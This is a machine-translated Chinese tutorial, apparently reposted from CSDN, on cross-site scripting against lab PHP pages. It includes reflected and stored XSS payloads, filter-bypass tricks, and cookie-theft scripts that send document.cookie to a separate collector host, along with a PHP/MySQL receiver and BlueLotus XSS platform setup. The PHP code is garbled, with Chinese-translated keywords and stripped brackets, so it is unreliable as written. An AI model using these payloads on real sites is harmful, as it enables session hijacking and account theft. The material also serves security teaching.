XSS跨站攻击漏洞
一 概述
1 XSS概述
xss的正式名称是Cross-Site Scripting。 XSS漏洞发生在前端,攻击浏览器的解析引擎。这会导致攻击者的JavaScript 代码在受害者的浏览器中运行。
XSS攻击者的目标是找到存在XSS漏洞的网页,并允许攻击者在受害者不知情的情况下在存在XSS漏洞的网页上执行攻击者的JavaScript代码。
XSS主动填充漏洞陷阱,等待受害者上当。由于攻击者正在执行JavaScript 代码,因此攻击语句必须允许JavaScript 执行。
有两种方法
第一种反射
直接在URL中附加js代码,并将URL发送给指定用户。鼓励用户点击。
第二种存储方式
由于利用后端的漏洞将js代码存储在数据库中,当页面收到服务器返回的响应时,就会从数据库中拉取js代码,因此任何访问该页面的用户都可以进行攻击。
2 危害
1.您的页面已被黑客入侵
2.获取用户的cookie
3.DDoS攻击
4. 网络钓鱼攻击
5. 数据造假
6.传播病毒
二 原理
1 反射型
(1)用户输入的内容原样显示在页面上。
php
?php
$内容=$_GET[\’内容\’];
回显\’$内容\’
?
有效负载
192.172.10.41/week3/demo1.php?content=scriptalert(1)/script
(2) 回显用户在标签对中键入的内容。
php
!DOCTYPE html
html lang=\’en\’
头
元字符集=\’UTF-8\’
标题文件/标题
/头
身体
分配
?php
$内容=$_GET[\’内容\’];
回显\’$内容\’
?
/div
/身体
/html
有效负载
192.172.10.41/week3/demo1.php?content=你好
(3) 将用户的输入回显到标签属性中。
php
!DOCTYPE html
html lang=\’en\’
头
元字符集=\’UTF-8\’
标题文件/标题
/头
身体
分配
?php
$内容=$_GET[\’内容\’];
?
输入类型=\’文本\’值=\’?=$content;\’
/div
/身体
/html
有效负载
关闭标签并添加脚本标签
192.172.10.41/week3/demo1.php?content=hello\’scriptalert(1)/script!–
添加事件
192.172.10.41/week3/demo1.php?content=你好\’onmuseoover=\’alert(1)
嵌入网页
192.172.10.41/week3/demo1.php?content=\’iframe src=\’https://www.taabao.com\’ width=\’100%\’ height=\’100%\’ /iframe!–
添加页面元素
192.172.10.41/week3/demo1.php?content=\’img src=\’./image/dateme.gif\’ onclick=\’alert(1)\’!–
XSS中常用的测试语句
脚本警报(1)/脚本
img src=1 错误=警报(1)
svg onload=警报(1)
a href=javascript:alert(1)
输入onfcus=write(1) 自动对焦
2 存储型
攻击脚本通过后端写入数据库,当用户访问页面时,后端通过查询回显页面上的所有数据并触发攻击。
php 添加
?php
包含“utils/dbUtil.php”。
//1. 接收用户输入
$内容=$_GET[\’内容\’];
//2.sql
$sql=\’插入week3_test值(默认,\’$content\’)\’;
//3.执行SQL
$res=运行Sql($sql);
//重大后果
如果($res){
回声“成功”。
}除此之外{
回显“错误”;
}
?
192.172.10.41/week3/demo2-xss存储类型-add.php?content=百度scriptalert(1)/script
php-findById
?php
包含“utils/dbUtil.php”。
//1. 接收用户输入
$id=$_GET[\’id\’];
//2.sql
$sql=\’从Week3_test 选择*,其中id=$id\’;
//3.执行SQL
$res=queryOne($sql);
//重大后果
如果($res){
打印_r($res);
}除此之外{
回显“错误”;
}
?
192.172.10.41/week3/demo3-xss存储类型-findById.php?id=4
三 XSS获取Cookie
1 发送cookie
php
?php
会话开始();
$内容=$_GET[\’内容\’];
回显$内容。
?
插入代码
PHP 后台应将+ 号视为%2B 和%26。
语法
获取浏览器cookie值document.cookie
发送请求scriptlocation.href=url/script
scriptlocation.href=\’http://ip.php?cookie=\’%2bocument.cookie/script
scriptnew Image().src=\’http://ip.php?cookie=\’%2bocument.cookie/script
2 准备C2服务器
搭建phpstudy环境
安装phpstudy
打开软件,启动Apache和MySQL服务。
单击您的网站,然后单击“管理”下的根目录。您需要运行的文件将放置在www 目录下。
在此文件中创建一个简单的php 文件。
打开浏览器并输入http://localhost/phpinfo.php。 phpinfo.php是你写的文件名
开发xss服务器端
表面
创建表`getcookie` (
`id` int(0) NOT NULL AUTO_INCRMENT,
`url` varchar(1000) 字符集utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,
`cookie` varchar(1000) 字符集utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,
`createtime` 时间戳(0) NULL 默认NULL,
使用BTREE 的主键(`id`)
) 引擎=InnoDB 字符集=utf8mb4 COLLATE=utf8mb4_bin ROW_FORMAT=动态;
php
?php
$url=$_GET[\’url\’];
$cookie=$_GET[\’cookie\’];
//1. 连接到数据库。 参数说明: IP 帐号密码数据库
$conn=mysqli_connect(\’127.0.0.1\’,\’root\’,\’root\’,\’part3\’);
//2.设置编码格式为UTF-8
mysqli_query($conn,\’设置名称utf8\’);
//3.sql
$sql=\’插入getcookie(url,cookie,createtime) value(\’$url\’,\’$cookie\’,now())\’;
//4.执行SQL
$res=mysqli_query($conn,$sql) 或die(\’执行失败\’.mysqli_error($conn));
?
3 开始注入获取cookie
192.172.10.41/week3/demo1-xssreflect.php?content=helloscriptnew Image().src=\’http://192.172.10.40/getcookie.php?url=\’%2Bdocument.cookie%2B\’%26cookie=\’%2Blocation.href /script
四 BlueLotusXSS平台使用
一、安装
下载地址GitHub – sqlsec/BlueLotus_XSSReceiver: XSS Platform CTF Tools Web Security Tools
1 将BlueLotus_XSSReceiver-master.zip上传到xampp
将BlueLotus_XSSReceiver-master.zip 上传到CentOS 的/opt/lampp/htdocs 目录并解压。
解压BlueLotus_XSSReceiver-master.zip。
2 访问:192.172.10.41/BlueLotus_XSSReceiver-master/install.php
按照提示将config-sample.php 重命名为config.php。不要单击“安装”。
3 配置目录权限
运行命令:chmod o+w data myjs template
4 登录
登录地址http://192.172.10.41/BlueLotus_XSSReceiver-master/login.php
登录密码蓝莲花
5 进入主页
二、定制XSS代码
1 有效负载生成
生成有效负载后,将代码直接复制到XSS 页面中。
2 在页面中插入代码
192.172.10.41/week3/demo1-xssreflect.php?content=helloscript src=\’http://192.172.10.41/BlueLotus_XSSReceiver-master/myjs/getcookie.js\’/script
收到数据
https://github.com/sqlsec/BlueLotus_XSSReceiver
五 XSS的防御和绕过
1 防御
(1)前端验证:对用户输入框进行js验证。
(2)使用函数对用户输入内容中的特殊符号进行转码。
htmpspcialchars(string,ENT_QUOTES); ENT_QUOTES 表示转码单引号
(3) 字符串替换: 必须通过替换规则考虑不同的覆盖范围。
字符串替换()
2 绕过
(1) 用于前端验证
禁用浏览器js
通过工具或协议绕过前端。
(2)功能替代
1 可以使用实体转码
#x6A
2 非忽略案例的案例旁路:
脚本/脚本
3 双写绕过str_replace(\’script\’,\’\’,$str);
脚本
4 如果空格被替换,请使用%0 或%0d 绕过它们。
六 XSS靶场实战
以上#XSS跨站攻击漏洞相关内容来源于互联网,仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91850.html